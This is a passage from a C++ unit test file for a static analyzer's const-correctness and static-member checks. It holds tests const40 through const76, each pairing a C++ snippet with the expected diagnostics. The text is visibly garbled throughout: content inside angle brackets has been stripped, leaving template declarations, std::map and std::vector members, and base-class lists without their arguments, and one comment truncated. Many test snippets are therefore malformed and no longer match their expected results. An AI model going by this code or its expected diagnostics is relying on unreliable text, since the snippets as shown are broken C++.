ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n 